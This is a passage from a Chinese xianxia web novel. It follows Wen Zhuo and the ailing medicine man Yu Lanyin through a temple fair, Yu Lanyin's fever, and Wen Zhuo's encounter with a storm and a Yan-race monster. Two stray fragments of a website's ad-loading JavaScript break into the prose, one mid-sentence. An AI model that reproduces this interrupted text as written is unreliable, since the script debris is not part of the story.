温卓长得慢,刚来到药居那一年还没玉阑音的腿高,药居一整套的木头家具装潢,来去免不了磕磕碰碰,时间长了身上总是青一块紫一块。玉阑音发现后二话不说,直接亲自动手大刀阔斧把家具所有的角全给抹平了,甚至连里里外外的门槛都磨矮了一截。 要知道玉阑音可是个实打实的公子哥,平日不显但骨子里还是颇为心高气傲,一身中原人的毛病,先前屋子大大小小的门槛恨不得修高到天上去,如今却是为了他这么个外人野孩子硬是磨得不到先前的一半。 直到近些年温卓长大了,玉阑音才下令重新换了套带着角的四四方方的家具,温卓也借机会偷偷把门槛也修了回来。 再一回,温卓提到想要读书练字,玉阑音当晚便在自己的屋里点了三晚长灯给温卓写了四十多页字帖,整理了四五座小山那么高的书卷一股脑塞进了温卓的书房。 玉阑音本就一身毛病哪经得住这么熬,当天左眼就害了炎症,前前后后红肿了七八天,怎么喝药都养不好,直到现在都还是留下了些畏光的毛病。 还有八岁那年。温卓的身体一向很好,但他记得很清楚,就是在八岁那年,他忽然毫无征兆地发了一场史无前例的高热,一连三四天身上都热得像个汤婆子。 他对那几天的唯一的模糊的印象只有某一天晚上,他迷迷糊糊醒来了,发现自己床头的灯是亮着的,玉阑音正坐在他屋里的小桌前,侧面朝着温卓只露出侧脸,神色是前所未有的忧虑。 玉阑音向来是只十拿九稳处事不惊的大尾巴狼,温卓哪见过他这番模样? 他正欲告诉玉阑音不必担心,刚一起身却看到玉阑音手中拿着一把柄上襄着红钻石的小弯刀,左手手腕滴滴答答淌着血,面前的小碗已经装了小半碗。 温卓一瞬间说不出是惶恐还是愤怒,正欲给这病秧子一顿劈头盖脸,可惜心有余而力不足,一动身便感到一阵天旋地转再度晕了过去。 等到几天后他病好后,第一时间便去看了玉阑音的手腕,却一点痕迹也没瞧见。 “……大概是我看错了。”温卓回忆道。 随后他着手开始收拾毛笔和宣纸,不再继续说。 这人对他的好,他怕是说个三天三夜都说不完。 这本来应该是个幸福的关于相遇的故事,包括温卓本人也是以幸福的口吻讲述着,但是克古鲁听完却不知道为什么总觉得有些难过。 他说不出这种感受,想了很久才笨拙问道:“明天的庙会,你和药郎先生要去吗?我们一起去吧。” “庙会吗?” 克古鲁本以为温卓并不爱参加这种活动,但出乎他意料的,温卓似乎对此蛮有兴致,“我没去过庙会。明天我问问阑音,他去我就去。” 温卓说完这话便去厅房看玉阑音。 玉阑音似乎是精力不济,已经已经回了房间,窝在被子里半是昏睡过去。 温卓摸了摸被子里凉得要命,便轻手轻脚打了个汤婆子塞了进去,随后又去院子把药居大门落了锁,这才回了自己屋躺下。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冬风呼啸一夜,可药居温暖异常,带来一夜好眠。 第二天,药居很早就有人敲门,来的人是山桂,手里端着一盘苹果葡萄干派。 玉阑音和温卓醒得早,克古鲁还在睡。 “是山桂啊,”玉阑音笑着和一副心事重重样子的山桂打招呼,“你来得正巧,这个月的药昨天给你包好了,临走顺道带着。” 山桂支支吾吾地说自己不是来拿药的,是来找温卓的。 想把这些果派送给他。 温卓本想照惯例说些拒绝或搪塞的话,但玉阑音不着痕迹拍了拍他的肩膀。 “收下吧,一片心意,”玉阑音避着山桂轻声道,“你不收他怕是得惦念一辈子。” 见到温卓收下了甜点,山桂如蒙大赦,当即整个人都轻松起来,终于落了座。 温卓去厨房切了一点这块新鲜的果派给了玉阑音,玉阑音伸了两根指头捏了一块,随口问道:“你早上说有事问我是何事?” “哦,不是大事,”温卓替玉阑音拉了拉盖在身上的毯子,“昨晚克古鲁说今天是庙会的日子,你要不要也去逛逛看?” “难得你说句想要。”玉阑音笑着看了看温卓,“去叫叫克古鲁,我们吃过饭就去。山桂呢?要不要一起来?” 闻言的山桂连连摆手:“不了不了药郎先生,我爹还在家呢,我得把药帮他拿回去。你们玩得开心,我就不打扰你们了。” 说完就忙送不迭地抓上一大包药飞快地走人了,拦都拦不住。 玉阑音笑着摇摇头:“随他去吧。” 低头尝了口果派,玉阑音满足得眯了眯眼:“还挺好吃。一一你也学学,改天做给我吃。” 温卓只顾着心里高兴玉阑音答应和他逛庙会,自然是心情极好地满口应下,随后割了几块鲜鹿肉喂鹰去了。 克古鲁醒来已经是日上三竿,等他磨磨蹭蹭走到厅堂的时候温卓正在和玉阑音声音不大地争执着什么。 不过虽说是争执,其实完全是温卓单方面地表现出了一些不容抗拒的义正言辞。 “……里面穿单衣就好了,太厚了不舒服。” “不行。” “外面还有兔毛大氅和披风。” “我知道,不行。” 玉阑音似乎是叹了口气,随后便放弃似的温温和和站定任由温卓摆弄了。 温卓给玉阑音的单衣外面套了一件同样霜色的薄绒坎肩,对襟半高领,正面刺着精细的浅金色祥云刺绣花纹,领口一圈浅黄白色兔毛轻轻抵着玉阑音消瘦的颌骨。玉阑音不经意地一抬头正好看到克古鲁进屋,随即笑起来。 “醒了?昨晚睡得怎么样?” “嗯。”克古鲁红着脸应了一声,睡得当然好,不然也不会睡到太阳晒屁股。 随后他像是想到了什么,“药郎先生同意去了?” 听到这话的温卓颇为愉悦,“嗯,一起去。” 克古鲁开心地一路小跑到两人身边。 玉阑音看着他的动作皱了皱眉,“跑动还是要小心,你的腿还受着伤。” “哦,药郎先生你不说我都忘记我受伤了,一点儿都不疼了,”随后为了证明似的晃了晃他绑着绷带的腿,“你看,一点儿都不疼。” “嗯,那也还是要小心。” 克古鲁应了声,不过很快他就仔细打量着玉阑音尝试着问,“药郎先生,你是不是不太舒服?” 玉阑音顿了一下,“怎么这么说?” “总觉着你今日好像更苍白了,精神头也不太好。” 玉阑音询问似的,朝温卓偏偏头道:“是么?” 温卓也点了头,“没错。” 这几天玉阑音的身体状况奇差无比,今天的状态更是不如昨日。大概是浑身都有些无力,玉阑音自从早上醒来便是倚着靠着,只是起身走动唇色便能褪得一干二净,手也凉得像门外的雪。 温卓给玉阑音披上霜色兔毛大氅,又围上了薄绒披风,最后在小暖炉里点了一块熏香,施了个升温的法术,最后还要在玉阑音身上套个保温结界这才作罢。 庙会就是下午和晚上才热闹。三人慢慢悠悠到了庙会的时候人正好多起来。 克古鲁喜欢热闹,东看看西看看,很快就跑到人堆里去了看不见了,玉阑音在后面嘱咐的“找不到人了就回这里等我们”也不知道他听清没有。 温卓虽然是是第一次逛庙会,但他比起去关注庙会实际还是更多地留意着玉阑音。 旁边的小摊看起来很干净,温卓抽空买了份玉米甜羹。 “你午饭吃得少,”温卓把甜羹往玉阑音手里送,“这里不是家里,你勉强吃些,别挑食。” 玉阑音矜贵地屈尊接过尝了口,之后虽然没有做任何评判,但是手上颇为诚实地把甜羹又塞还给了温卓,“你喝吧。” 温卓无奈又好笑地叹口气。 “花生糕呢,要不要尝尝?” “不要,最近花生过敏。” “杏仁酥?” “杏仁味苦,不爱吃。” “烤红薯呢?” “太腻,没胃口。” 温卓听得直摇头。 忽然人群里窸窸窣窣有了些骚动。 “……诶,你看你看!那不是药郎吗!” “真是嘞!” “真没想到今年能碰到药郎啊!看来今年是有好运气!” “我这还是头一回见药郎!好漂亮的人啊!” “药郎过年好!” “新年快乐啊药郎先生!” “万事吉祥万事吉祥!” …… 不一会儿,人传人人挤人,里三层外三层把玉阑音围了个水泄不通。 胆子小的人对药郎又敬又怕,只敢几个人互相嘀咕着对口信“你看你看”,不少胆子大的、常来拿药的,便扯着嗓子给玉阑音拜着早年。 玉阑音从没想到自己只是在这里走上一走居然引起这么大的一场哗动。 他久久没有出声,安静地听了一会儿。 温卓半步不离玉阑音的左右,不远不近跟在他的身后。 随后温卓看到这人别过头,用只有他们两个人能听到的声音对他说:“我太久没见人了。没想到竟然真的如你所说,是好话。” 好话。 这是他们第一次见面的时候玉阑音开玩笑时问的,问温卓听到有关自己的是好话还是坏话。 温卓没想到他还能记得这件小事。 但他还没有来得及说些什么,玉阑音就已经转回了头。 他朝着人群拱手,漂漂亮亮行了一个中原礼,“不胜荣幸,玉某惭愧。” 玉阑音的声音不大,但是一瞬间就盖住了嘈杂的人群,像是一阵温和的、早来的春风拂过了寒冷的大地。 这个人好像生来就应该被人这样敬仰。 温卓在他的身后看着这人的背影,忽然感觉胸口痒痒的。很奇异的一种感觉,他抬起手揉了揉。 他的内心正被一种“与有荣焉”的骄傲所占满。 这时玉阑音不轻不重地握住了温卓的手。 “人多,跟紧我。” 玉阑音的手心也烫,被攥住手的温卓下意识地想要缩回来。 但最终是没舍得收回。 人群里的大家见玉阑音并不像传闻那般不能近身,纷纷大着胆子往玉阑音手里塞东西。 那都是新年的祝福。 吃的,喝的,玩的,摆的。 有一样算一样。 平日里挑三拣四看不上东看不上西、刚才还满嘴胡诌乱挑食的玉阑音此刻却是一声没吭,一样不落地全部收下。 修行之人到了一定程度便能化出一无边无际无穷尽的识海,若是修为足够,哪怕是装下世间大江大河都不在话下。 玉阑音不会法术,自然也没有修为,如今他正把这些东西一一递给身后的温卓。 温卓依着他的意思跟在他的身后,一样一样地,小心翼翼把这些札布萨人淳朴的敬重接过,装进自己的识海,替他好生安置起来。 忽而一阵风吹过,许是因为穿过拥挤滚烫的人群,居然不是寒得刺骨的冷风。 温卓怔忪片刻,忽然低头笑了下。这风吹起,居然叫他险些以为是春天到了。 3. 风雨 其实这样的玉阑音让温卓仰慕之余,同样让温卓感到一丝陌生。 不过这份微不足道的陌生在玉阑音偏开头闷声咳了几声的时候就消散了。 温卓听到这人迎着风咳嗽急忙摸了摸他手里的暖炉,又仔仔细细检查了自己设下的保温结界。 暖炉是热的,结界也没有问题。 他有些疑惑地皱了皱眉,看了眼前方的玉阑音。 玉阑音则以为他等待得太久,哄人似的拍了拍他的手背。 “很快了。别恼。” 直到玉阑音收下了最后一座金佛雕塑,人群也终于三三两两散去。 “走吧,是不是等急了?” 玉阑音笑着问。 温卓摇摇头反问道:“你感觉怎么样?有没有不舒服?” 玉阑音失笑,“怎么突然这么说?” 温卓不搭腔,只问:“那保温结界管用吗?暖和吗?风吹的到吗?” 他不太常说这么长的话,玉阑音饶有趣味地多看了他一会儿,然后才温温和和笑起来,“管用,暖和,吹不到。” “真的?” “当然是真的,我从不说假话。”玉阑音笑眯了眼,按了按温卓的脑袋,“你的法术没有任何问题,放心吧,小天才。” 温卓不疑有他,但还是仔仔细细检查了好几遍才放下心来。 两人走着走着,最后一丝天光也消失在了地平线。 天色将晚,华灯初上。 忽然玉阑音似乎是看到了什么有趣的东西,“那边人真多。” 温卓打眼瞧了瞧,“好像是画糖人的。” “我只在小时候见过,”玉阑音道,“走,一起去看看。” 画糖人的是个看起来没比温卓大几岁的小伙子,他穿着札布萨传统的兽皮袄,戴着皮毛帽子,脸被熬糖浆的热蒸得通红。 玉阑音在一边看了会儿,忽然开口道:“这糖人儿能自己画吗?” 这小伙子大概是不认识玉阑音,只因为他漂亮多看了几眼,“当然可以,您是要自己来?” 玉阑音矜贵地点点头。 温卓和这个小伙子对此都没有察觉出任何异样。 由于玉阑音在不学无术方面的无所不能太深入人心,温卓完全默认了他琴棋书画肯定样样精通。 那小伙子想得更简单,这么漂亮的人,一看就是个会画画的。 结果两个人看着煞有介事、一副风雅大家做派画着糖画的玉阑音,越看眉头皱得越紧。 “这位客人画的盘子是什么花纹?真圆真漂亮啊!” 小伙子大肆赞扬。 玉阑音看他一眼,然后朝温卓抬抬下巴,“我画的是他。” 小伙子半分没迟疑,竖起个大拇指,“哦!您画的这孩子头真圆真漂亮,一看就有福气!” 玉阑音漂漂亮亮拢了拢袖子,“谢谢。” 头真圆真漂亮的温卓现在的脸色不太好看。 等糖人成品拿到手上,玉阑音还问他“好看吗?”的时候,他的脸已经可以称得上是绿油油的了。 温卓不答话,玉阑音便开始追问:“那喜欢吗? 温卓斟酌着仔细看了看这个糖人,又看看玉阑音,“嗯,喜欢。” 难看是挺难看的,但是玉阑音给他的,他也确实是喜欢。 玉阑音歪头笑起来,呛了风低咳两声。他曲指一弹温卓的脑门,“傻子。” 温卓不理他,左看右看好好端详了一番,随后给糖人捏了个诀,收到识海里去了。 到底是北境,长久以来便不流行放灯、题诗这种文人样式的活动。于是这札布腊月二十八的萨庙会上,最欢闹的环节还要属入夜后的篝火会。 夜深了,几个壮汉搬着几根一人环抱那么粗的柴火,一趟两趟搭出个人高的柴火塔,然后唱着歌,用火把将柴火塔点燃。 噼里啪啦,一时间水汽、火烟弥漫,整个庙会方圆几里都能看见。老老少少的札布萨人围着篝火牵着手,唱着古老的迎接春天的歌谣。 “药郎先生!温卓!” 两人远远地就能看到篝火旁的人群里有个小个子的家伙朝着他们摆手。 是克古鲁。 克古鲁是个纯正的札布萨人,善歌善舞。 “一起来呀!” 克古鲁欢天喜地在人群里扭着脸朝他们喊。 火映得他的小脸红扑扑的。 玉阑音在外围捧着暖炉,笑着朝克古鲁抬扬扬下巴,随后他转过头问温卓:“你要去玩玩吗?” 温卓摇头,忽然念书似的没头没尾道,“札布萨人的篝火会是为了驱赶寒冬,是旧年里带着对新年的愿景的告别会。” 大概是和玉阑音呆得久了,温卓也从不以札布萨人自居,说起话总是一副客人模样。 玉阑音笑着“嗯”一声,“怎么说起这个了?” “从前书里读到的,想起来了。” “这篝火会我也是第一次见,”玉阑音抱着暖炉,声音在噼里啪啦的火苗声和人群的歌声中显得不太清晰,“趁机会许个新年愿望吧,或许能成真。” 温卓愣了愣,“朝着这团火吗?” 玉阑音的眉眼在橘红色的光中温柔得不像话,他似乎是轻笑了下,“当然不是了,它能听得懂什么。” 他垂眸与温卓视线相接,笑盈盈道:“你朝着我许,这才管用。” 篝火的光将整个夜晚烧得亮如白昼,玉阑音的脸在火光中明明暗暗。 可能是因为夜晚,也可能是因为接天的红光,温卓觉得这时的玉阑音和平时有些不同。他虽然住在药居好些年,但平日多克己复礼,鲜少有这种靠近和仔细端详的机会,这次倒是在火烫出来的水汽中,连这人睫毛几簇都数得清楚了。 过了好一会儿,他才盯着玉阑音不知何时变得毫无血色的苍白的嘴唇开口:“那我许愿玉阑音身体康健,长命百岁。” “管用吗?” 温卓声音并未起伏,黑眸暗沉得像是一坛死气的深湖,却又在眼波流转之时无意流出些近乎于央求的担忧。 这份真心让玉阑音看了好久都没能从容不迫地回应些什么。 就在温卓觉得可能他会对此避而不答的时候,玉阑音却笑开来,“嗯,管用。” 温卓没什么学医的天赋,草药什么的一窍不通,跟着玉阑音这么多年连个皮毛都没学上。但尽管如此他还是有一个困扰多年的问题,明明玉阑音医术如此高超,到底为什么看不好自己的病。 其实在他刚认识玉阑音的时候,玉阑音只是看起来有些瘦弱多病,时不时犯些头痛,完全不是现在这副一阵风能吹倒的病秧子模样。 但是这么些年,身体确是肉眼可见的一日不如一日。 但温卓上一个见到的这样挛缩至不见的人是阿纳。 他每每想到这里都会由于恐惧难以抑制地发起抖来。 不准再想了。他想。 从前他提起这些,玉阑音从来都是顾左右而言他地糊弄过去。 今天玉阑音第一次应诺了他,温卓虽然不明白原因,但还是极为喜出望外,心情好到忘乎所以。 玉阑音侧着头看着显然突然雀跃的温卓好一会儿。 不过天与愿违,温卓的好心情在当晚玉阑音毫无征兆的高热时戛然而止。 篝火会一直持续到亥时,两人把叽叽喳喳意犹未尽的克古鲁送回了家,等回到药居时已经是凌晨子时有余。 其实玉阑音的体热也不能说完全毫无征兆。 篝火会的末尾开始,温卓就敏感地察觉到玉阑音有些话少,更多时候是有点不自然的无精打采。不过他再三询问,玉阑音也只是一遍一遍说“好久没有这么晚睡,身体总归是不太习惯”。 然而回到药居,温卓帮玉阑音解外袍时才摸出来,他身上烫得像是暖炉,离得近了甚至能感觉到一阵一阵的热浪。 温卓替他脱大氅的手停在了半空,愣愣地抬头看着玉阑音。 玉阑音的意识已经算不上清醒,脸是发烧带出来的从未有过的红润。 他眯了眯眼,用滚烫的手摸了摸温卓的眼睛:“怎么红了?” 温卓一把把他的手抓下来。 他抓住玉阑音手的一瞬间突然想到,在人群中,玉阑音抓着他的手已经是这么烫。 这时的温卓自责到想要把自己千刀万剐。 玉阑音想把手收回来,“我没事,一一。” 温卓不让,死死地抓着玉阑音的手,他觉得自己有好多话想要说,甚至想要埋怨玉阑音一整日的默不作声,但是话到嘴边只有一遍又一遍的:“对不起,阑音,对不起,我……” 玉阑音垂着眼仔细听着,似乎是叹了口气,“你难得……” “……却被我搞砸了,真的很抱歉,我不是故……”玉阑音愣了下,然后手足无措地碰了碰温卓的脸颊,“别哭了,温卓。对不起。” 温卓听着他的道歉,只觉得有刀子在往自己心上割。 “我没有怪你,阑音,我明明知道你这几日状态不好……我真的,”温卓自责到无以复加,“我明明……” 玉阑音有些耳鸣,已经听不太清温卓在说什么了。 他以前从没见过温卓哭。 他也不知道怎么办,只能一遍一遍帮他擦眼泪,“抱歉。”他一遍一遍说着。 玉阑音的身体太差了,一旦有什么病灶发作出来那必然是来势汹汹,寻常人若想医治或许可以“找药郎”,但可惜如今病倒的正是药郎自己。 他把刚把玉阑音扶到床上,玉阑音几乎在片刻之间就失去了意识昏迷过去。 想到他的体弱,想到他时不时缠绵多日的低烧,又想到多年前那次多日不能痊愈的眼疾。 想至此,温卓手上一点不留情地给了自己两个耳光。 他带着脸上两个明显的巴掌印,不死心地尝试着给玉阑音施了几个不烈的降温的法术,果然没有一丝一毫的效果。 温卓的药理知识学得狗屁不通,连个门外汉都算不上。再加上不知道为什么,药居里里外外居然连一部药典都翻不到。 总而言之,温卓现在虽然看起来还是冷着张脸游刃有余、立立正正的样,实际上已经完全像只热锅上的蚂蚁,急得只差哭天抢地。 死马当活马医。 温卓站在药架前,凭借零星的记忆选出了所有他能记得的清热败火的药材,金银花,竹叶,知母,玄参,薄荷,连翘,大黄,烂七八糟挑了个遍。但是又担心这个不能同吃,那个不能过量,最后又皱着眉头往外捡了几味毒性大的药材。 煎药的时候他的心像是在打鼓。 直到喂了药之后一两个时辰,温卓都在担心自己的这副中药有没有什么副作用。 终于确定了没什么副作用之后,他又开始担心若是这副中药没有作用又该怎么办。 天蒙蒙亮,玉阑音的烧依旧没退,温卓不敢合眼,只能一遍一遍拿凉水浸了的毛巾敷在他额头上。 迷迷糊糊之时,他听到正厅透亮的两声鹰啸。 从前他刚来药居的时候,药居的鹰只有海东青这一只,玉阑音叫它作“白祺”。 他很疑惑,玉阑音不会打猎,外子里子也都像是个文人,怎么看都和养鹰户不搭边。 不过自打他知道这只玉爪海东青价值万金不止后他就不再纠结了。 因为他可是比任何人都清楚,玉阑音虽然面上不显,实际上却是个极度奢华的贵人做派。可以说这药居随便敲下来的一块木屑,换成金银都够普通百姓家用个三年有余。 温卓本来也不太能品出这只海东青貌美在哪里,自打知道它的价值几乎能买下整个药居后,他对这只海东青真是越看越喜欢,怎么看怎么顺眼。 早上晚上都得来逗逗,时不时喂他只刚打来的新鲜的野兔。 有回他正在给白祺顺毛,玉阑音问道,“喜欢鹰?” 温卓说挺喜欢的。 结果第二天玉阑音就不知道从哪里弄来了一只还没长大的金雕。 “金雕长大比海东青更凶猛,更漂亮,也更衬你。”玉阑音是这么说的,“你给他取个名字,养着吧。” 玉阑音这人总是有些莫名其妙的分寸感。比如这只金雕,自从给了温卓后他便任由温卓自己处理了,连这只金雕的名儿都没过问。 所以玉阑音直到今日都不知道,其实这只金雕的名字叫作“阑音”。 温卓一直都懂这人取给他的“温卓”二字的期许和顾盼。 但直到他认了字,他才明白“温卓”是好字,但玉阑音自己的不是。 阑音。残音。 温卓不喜欢这个名字。 玉阑音在最初告诉过他,心里念着这人的好,多念这人的名字能烙下祝福。但整个札布萨,从来没有人会叫玉阑音的名字。 大家总是药郎长、药郎短。 玉阑音身体常年虚亏,大家所说的赞美之言,万一因为“药郎”这称号得不到因果怎么办? 他的名字已经足够轻贱,若再没人念他名字那又该怎么办? 这么想着的温卓好几天夜里在床上翻来覆去睡不好觉。 于是从某一天起,原本乖巧地叫玉阑音“先生”的温卓忽然开始对玉阑音直呼其名了。 那天玉阑音也只是一愣,很快就顺其自然地接受了这个新称呼。 温卓怕他不喜欢。 但玉阑音只是笑着说:“哪有的事。只是因为太久没听到了,不太适应。” 阑音,阑音。 我这般多念你的名字,但愿真如你所言,有无穷的祝福会降临给你。 此时的白祺和阑音已经一天没有进食了,扑棱棱地扇着翅膀,让安静的药居突然有点吵闹。但是也多了点人气。 温卓去前院雪地里拿了前几天刚埋的野兔,壁炉前烤了会儿解冻,去了毛就扔给了两只鹰。 看着白祺和阑音你撕我抢吃得正痛快,温卓紧绷了很久的弦终于松动,取而代之的是一股后知后觉的疲惫。 他蹲坐在壁炉旁边,就直直看着那只鲜活的金雕许久。 直到这两只猛禽吃饱喝足,再次半阖起眼睛开始打盹。 温卓起身,轻轻摸了摸金雕头顶金棕色的冠羽,金雕睨他一眼,骄矜地甩了甩头。 他吐出一口浊气。 “阑音,你一定要好起来。” 如果这个世界有神明,请一定要听到我的祈求。 不过说不准是不是神明仙灵,第二天玉阑音真的醒了。没有退烧,但是好歹能下床简单走动了。 他此时正顶着依旧烧得粉红的脸窝在躺椅里摸鹰。 温卓给他倒了杯水,“喝点吧,发烧,嘴干。” “没味道,不爱喝。” 都什么时候了,这人的大少爷脾气是一点也没收。 “那总要喝点药,我不太懂这些,你告诉我抓什么药,我抓了煎给你喝。” 玉阑音神色是遮盖不住的倦怠,他笑着摇了摇头,仿佛是有些惊诧于温卓所说的:“你明知道的,那些对我没用。” 玉阑音头痛低热时有发生,却从不给自己配药,温卓再笨也多少猜得到缘由。 如今真的听到他亲口承认的时候,温卓小小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 年纪一向冷硬的脸上却依旧生出了些这个年纪该有的手足无措。 “别苦闷着脸,不必管它,该好起来就会好起来的,你看,已经好多了。”玉阑音轻轻一笑,忽而转了话头,“等明年吧,我补你再一次庙会,就明年吧。” 听到玉阑音病恹恹地和他说着以后的时候温卓有点想哭,他话音闷闷地应下。 “嗯。说好了,明年。” 随后他担忧道:“你昨天就滴水未进,今天断不能再这样。” 玉阑音原本就是挑三拣四的小鸟胃,如今害了病,依着玉阑音的胃口,必然是什么都吃不进。 不过或许是为了让温卓宽心,玉阑音居然真的在摇椅里想了好一会儿,“野味荤腥我吃不下,上回你带回来的白伞菌味道如今想来还算不错,要是方便就带一些回来吧。” “西面霞姑家的,不算远。”温卓对于玉阑音所说的,上刀山下火海都不叫不方便,当即便大包大揽下来。 玉阑音或许是太累了,听到温卓的话后“嗯”了声就把头靠在椅背上合上了眼睛,微微皱起的眉头足以看出此人其实并不像表面表现出的那般自如。 猜着他许是犯了头痛,温卓熟练地上前按了按玉阑音头顶的一些常见的大穴,又按了按耳朵上的几个穴位止痛。 不过想到寻常方法向来对玉阑音没什么效果,又怕自己学艺不精造出什么新病,他按了小半柱香的时间就停下了。 玉阑音似乎是睡着了。 温卓给他煮了一壶新茶,怕他生病嘴里犯苦,又往里加了些果浆。接着又给玉阑音的毯子每个角拈得严丝合缝,这才出了门。 药居在札布萨东面,其实距离城西有好一段距离。 温卓骑着火烧云紧赶慢赶,到霞姑家的时候已经是傍下午了。 估计是来得太晚了,再加上过年时节,菌子原本卖的就比平时少,霞姑告诉他菌子已经卖完了。 “真麻烦你跑这么一趟啊,这几天忙着过年,没什么空去采,赶明天你早点来就有了。”霞姑说。 温卓礼礼貌貌地告了谢,随后问:“这白伞菌是大兴岭里采来的吗?” 霞姑一愣:“倒是没错。但是大兴岭太远啦,也不安全,赶明天我给你留一些就是了,犯不着摸黑去采。” “嗯,”温卓也不知道听进去没有,“您不用单独给我留,我若是想要明天会早些来。” 霞姑喜欢这个长得漂亮又有礼貌的孩子,“诶诶好”地说了好几遍,给温卓手里塞了一包炸瓜花才作罢。 札布萨种植业不发达,炸瓜花在中原地区可能值不了几个钱,但是在这北境的冬天,的确称得上贵重。 温卓郑重道了谢,这才骑马上路。 他这个人比较执拗,玉阑音既然想吃,费点事儿自己去采也不打紧。 火烧云像一团火,速度极快地往更北边的边境大兴岭脚下跑去。 或许是他运气好,没走几里便采到了几株白伞菌,但就这么零星几株,带回去也不太像话,塞牙缝都不够。他把白伞菌拿油纸包了包揣进怀里,一拍马,继续向山里跑去。 其实随着火烧云往深处跑,温卓已经逐渐觉得有什么东西不对劲。 札布萨作为极北严寒之地,除了夏季和初秋,地上总是有化不开的雪,深秋入冬后雪厚都要没过半条马腿才对。 但是火烧云越往北跑,地上的雪越薄,到了最后,地上不仅不见一丝雪,甚至已经俨然成了稀树草原的景观,马蹄高度的新草和不远处的郁郁葱葱的松树林。 其次就是,如果他没有感受错,现在天上飘的大概是雨。 下雨这件事情若是放在中原那肯定是没什么大不了的,但是在札布萨,下雨可是极大的稀罕事,跟别说在这深冬腊月。腊月雨,闻所未闻。 雨点不大,甚至比起说是雨,这更像是浓雾,是低空太厚重的水汽挂不住成了的水滴。 温卓走了一会儿,额前的头发被打得有点湿,黏在脸上。他顺手抹了把脸,然后又摸了一把火烧云湿了的马鬃。 就在这时,整个天地忽然狂风大作,天色忽然昏黑。那风从更深的松树林里吹来,带着森林深处的呼啸,吹得整个天地都要扭曲起来。 火烧云和温卓几乎有点站不住脚。 温卓的头发被吹得四下乱飞,他的手用了很大的力气才拽住了有点受了惊吓不稳定的火烧云。 他利落地下马,稳稳地拉住缰绳,手臂由于用力显出了清晰可见的筋脉。 风太大了,穿过细密的林间,几乎像是夹杂着哀嚎,树叶草地透出一种不自然的哗哗作响。 温卓废了好大的力气才将火烧云绑到了一棵看起来很粗壮的大树上,随后自己也找了一棵足够宽度的树躲到了它的背后,等待这一阵风雨过去。 可是逐渐,风里的哀嚎声不消反涨,直到温卓终于认出,这打一开始就不是什么风声,这就是有什么东西在风里嚎叫。 鬼哭狼嚎,不外如是。 火烧云在一旁嘶鸣,温卓有点担心地频频朝它看去,同时又提了一只耳朵细密地关注着森林深处的动静。 忽然间,温卓听到他的背后传出了一阵天地共鸣的轰隆声,大地都在颤抖,仿佛是天幕被蛮力撕开了一个大口子,震得他胸口都开始翻腾。 同时,刚才天上薄雾一般的雨此刻居然变成了实质性的锋利的异物,透明的,随着风有的密密麻麻扎在了树上,有的直接扎在了他的衣服上,不一会儿他的脸上已经有了不少深深浅浅的口子。 这阵宛如地震的地鸣持续了很长时间。 期间还夹杂着更为清晰可闻的非人的尖锐鸣叫。 温卓试着捏一个结界,但是结界一出现就被震得粉碎,化作齑粉吹得无影无踪。 结界难免会连带着施法者的部分心神,被震碎的滋味绝不好受。他顾不上疼,有点头晕眼花之际思绪还是不受控地飘远。 这是地震么?药居那边有没有事? 阑音还生着病,他有没有事? 白祺呢?阑音呢? 火烧云呢? 他心里一瞬间升起好多挂念,但没有任何一个有关自己。 就在一个响指间,地鸣和震感突然停了下来,风也停了,雨也停了下来。这些东西的声响如同来时那般,戛然而止,全部消失了。 温卓一时间只听得到自己的心跳和持续的耳鸣,另外便是火烧云的躁动的马啸。 可就在下一秒,一阵与刚才方向完全相反的、狂烈了几倍不止的狂风伴随着更猛烈的天地轰鸣又降临。仿佛是有什么人或者什么力量在与其对抗。 这新的一阵狂风就迎着温卓的身体吹着,按理说,这应该是能够把他撕裂开来的狂力。 但此时,却没有一丝风吹到了温卓身上,也没有一毫的刀片般的雨划在他脸上。 他的周围出现了一个奇异的、风雨不侵的空间。就连火烧云也被包在了这片空间之内。 温卓伸手摸了摸。 这不是结界。 只是风雨单纯地绕开了他。 温卓尝试着重新捏了一次结界。 可同样的结界,这次的结界却没有被震碎,此时就像是避风港一样稳稳地罩住了温卓和火烧云。 终于又过了不知道多久,风才真正地渐渐停了下来,刀子一样的雨也不再锋利,成了再普通不过的雨,淅淅沥沥下着,方才如末日般昏黑的天也亮了起来。 可是随着风声的停止,温卓越来越清晰地听到有什么东西正在他耳畔喘着粗气,像风箱一样撕拉的响声。 与方才风里的哀嚎别无二致。 4. 山鬼 温卓从小到大都不是一个会害怕的人。 可以说他这辈子所有产生惊惧的能力,都已经在玉阑音生了重病的这两日耗尽了。 所以即便是刚才那天地震颤,又或者是现在他意识到肩膀后面可能趴着一个风里的怪物,他都没有产生任何有关恐惧的情绪。 他抬头看去。 身后是一个似人非人的黑色的怪物,通体是黑色的不透光的瘴气,长着两只手两只脚,脸上,如果这能被称为脸的话,脸上五官难辨,只能看到一张嘴,或者说是一根长得难以理喻的猩红色的舌头,还有重叠了里外三层的尖如利刃的牙齿。 非人之怪,食人为生,低等其身状似黑雾,神智愈甚愈似人形。 温卓的脑中迅速闪过他曾在书中读过的。 厌族。 万物相生相克,如果人类可以修行改造自然延年益寿,那么必然会有另外的东西与其抗衡。 最初人族和厌族都生活在云州大陆之上,那时两族交战经年不休,百姓终日不得安宁,随着两族矛盾激化,交战愈发频繁,绵延数千年。千年前,最终战役终于打响,人族凭借好些修为大成之人反攻,厌族溃不成军节节落败,史称千年之战。 厌族战败而逃,撤离了云州大陆,同年仙门大能在云州大陆周围设下一结界,复杂至极,成为了一道坚不可摧的屏障,足以将厌族永生永世隔绝在云州大陆之外。 但此时正趴在温卓设下的结界外的确是一货真价实的厌族。而且十分鲜活,正扯着鲜红的嘴,滴答滴答地滴着口水。 温卓现在无暇思考这坚不可摧的城墙为何饶了这只低阶厌族进来,他抬手摸了一下脸上,手指上沾了血,一翻手腕,祭了血的一截金色的光束“嗖”得朝着那怪物飞去。 这是一个很常见的、同样速度很快也很容易奏效的法术,名字也和它本身一样简单,就叫做小光刀术。 任何法术祭了血,都是意味着散了一部分神识在其上,攻击力番几个番可能都不止。 不过即便是这样,光刀撞到怪物的身上突然发出了“嗡”的兵器相接,金属相碰的动静,即刻这光刀便暗淡下来,消散在了怪物的黑色瘴气中。 那怪物饶有趣味地晃了晃舌头,随后张开巨口大叫起来,咚咚碰碰地撞着结界。 温卓眯了眯眼。 这个结界撑不住太久。 